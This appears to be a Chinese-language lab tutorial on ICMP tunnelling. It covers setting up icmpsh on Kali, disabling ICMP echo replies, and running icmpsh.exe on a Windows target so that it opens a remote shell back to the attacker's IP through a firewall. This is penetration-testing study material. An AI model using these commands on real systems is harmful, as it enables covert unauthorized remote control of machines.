目录
一、ICMP协议详解
二、ICMP隧道
(一) 为什么会使用ICMP
(二) 实验环境
(三) 操作流程
1. 下载icmpsh
2. 下载并安装依赖
3. 关闭本地icmp响应
4. 攻击机启动服务端开始监听
5. 靶机启动工具客户端
6. 攻击机接受到靶机传来的数据
三、郑重声明
一、ICMP协议详解
ICMP(Internet Control Message Protocol)是互联网控制消息协议,是TCP/IP协议族的一个子协议。
它被用来在IP网络上发送控制消息,通常用于在网络设备之间传递错误报告、网络状态信息以及执行网络诊断。
- 举例说明:
- 错误报告
- 数据包(例如:ping操作)的传输过程中,当目标主机不可达,或者请求超时,都是ICMP在运作(生成相应的错误信息)
- 错误报告
- 网络探测
- Ping工具就是利用ICMP Echo请求和响应来测试网络连通性的。
- 还有很多功能.........
二、ICMP隧道
(一) 为什么会使用ICMP
因为目标内网中,大多数系统可能都位于防火墙之后或各种网络路由设备,会控制入口以及出口流量,导致反向shell会被拦截。
这时候就可以使用ICMP协议进行连接,通常防火墙不会屏蔽ping数据包从而实现不受限制的网络访问。
(二) 实验环境
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等
- 攻击机:Kali2024
- 环境所需:python2(Kali自带)
- 本次实验IP为:192.168.23.170
- 靶机:Microsoft Windows 11 专业版
- 本次实验IP为:192.168.23.135
- 工具:icmpsh
- https://github.com/inquisb/icmpsh
- 特点:
- 在目标系统上运行客户端的用户不需要管理权限。
- 工具服务端可以移植到任何可以运行 C、Perl 或 Python 代码的平台上。
- 客户端必须是Windows,也就是只限Windows!
(三) 操作流程
1. 下载icmpsh
工具由python2开发!
git clone https://github.com/inquisb/icmpsh
2. 下载并安装依赖
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python2 setup.py install
3. 关闭本地icmp响应
使用 icmpsh 工具时,它会监听网络上的 ICMP 请求,并模拟系统的 ICMP 去响应。
为了防止系统本身去响应icmp,所以要关闭本机的icmp响应。
这样,当其他设备向你的机器发送 ICMP 请求时,icmpsh 可以截获这些请求并作出响应,而不是系统本身去响应。
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭
sysctl -w net.ipv4.icmp_echo_ignore_all=0 #开启
4. 攻击机启动服务端开始监听
python2 icmpsh_m.py 192.168.23.170 192.168.23.135
#python2 icmpsh_m.py 服务端IP 客户端IP
5. 靶机启动工具客户端
将icmpsh.exe传入目标主机中
icmpsh.exe -t 192.168.23.170
#icmpsh.exe -t 服务端IP
6. 攻击机接受到靶机传来的数据
chcp 65001 解决显示乱码问题。
三、郑重声明
文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。